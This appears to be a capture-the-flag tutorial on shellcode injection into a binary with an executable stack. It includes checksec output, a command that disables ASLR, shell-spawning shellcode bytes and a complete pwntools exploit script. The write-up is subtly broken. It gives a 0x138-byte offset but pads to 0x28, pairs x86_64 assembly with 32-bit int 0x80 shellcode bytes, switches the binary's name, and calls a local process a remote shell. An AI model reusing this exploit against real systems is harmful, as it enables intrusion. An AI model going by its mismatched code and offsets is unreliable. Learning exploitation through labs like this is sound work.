We will practice writing shellcode against a binary with an executable stack. Note that this attack is relatively uncommon because executable stacks are turned off by default. Shellcode can often work better with other exploit techniques that alter the binary.
We check the security measures to see that shellcode is plausible:
$ checksec location [*] '/ironforge/location' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
The mark that the stack is executable is our sign that we can use a shellcode attack. The reverse is not always true: a binary with a non-executable stack can still be vulnerable to shellcode attacks.
Running shellcode binaries are good ways to check the information we have:
$ ./chall Your buffer is at 0x7ffe3dd0a350 What do you want to write there? AAAA Thank you!
When running the binary multiple times, you may expect the address of the buffer to change. This can be toggled to have the buffer be at the same address every run. This is called ASLR.
We can turn off ASLR locally to make our lives easier:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
.One of the first things you should notice is that there is no win()
function or anything like that. This means that we will need to get the flag some other way. We also notice that the flag.txt
file is never loaded (verifiable by strings location | grep flag.txt
). How can we solve this? If we can find some way to get a shell on the remote server, we can read the flag ourselves.
There is an obvious vulnerable fgets()
call, and we know that the stack is executable. This means that we could write lots of shellcode in our buffer. Since we know where the address of our buffer is, we can then jump to that address and execute our shellcode.
You have two options for shellcoding challenges: find one online or write it yourself. The major online database is Shellstorm which contains many functional shellcodes for various architectures. Since this challenge is linux/x86_64
and we want to spawn a shell, Shellstorm 806 seems like a good choice.
main: xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall
We can either pass the shellcode as a string of functions, or we can pass it as a byte string of hexadecimal values. Frankly, the second one is easier, and the shellcode is provided in that format:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
We need to consider how we're going to craft this payload. The only reference we have is the address of the buffer, meaning that the shellcode needs to start there. We still need to overwrite the return pointer. We see that we need to write 0x138
bytes to reach the return pointer.
Thankfully, Python has a way to fill a string to a desired size: ljust
. ljust
takes two arguments, being the new size of the string and the character you want to use to fill the space. ljust
will left justify the old string in the new string, filling the space on the back. (There are other commands like rjust
, but that's not useful for us in this case).
We can format this command as
payload = payload.ljust(0x28, b"\x90")
This means that our payload is going to look like:
payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload = payload.ljust(0x28, b"\x90") payload += p64(buf)
How do we get the address of buf
, where we're writing to? Pwntools has a method that lets us receive data, so we can receive that address and convert it into a buffer.
There are multiple methods to receive data from the process. By far, the most useful is recvuntil()
, which takes an argument of the string you want to match when receiving data. At the first instance it finds the passed string, it will stop receiving data. This means that we should do this in two parts:
p.recvuntil(b"Your buffer is at ") buf = int(p.recvline().strip(), 16)
Let's break this one down:
Your buffer is at 0x7ffc3731f440
..strip()
removes the new line at the end.int(x, 16)
converts a string with a hex value (i.e. 0x7ffc3731f440
) into a hexadecimal.This is everything we need to craft an exploit.
from pwn import * elf = context.binary = ELF("./chall") p = process() p.recvuntil(b"Your buffer is at ") buf = int(p.recvline().strip(), 16) log.info(f"buf: {hex(buf)}") sc = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload = sc payload = payload.ljust(0x28, b"\x90") payload += p64(buf) p.sendline(payload) p.interactive()
This gets a shell on the remote server, and then we can cat flag.txt
to get the flag!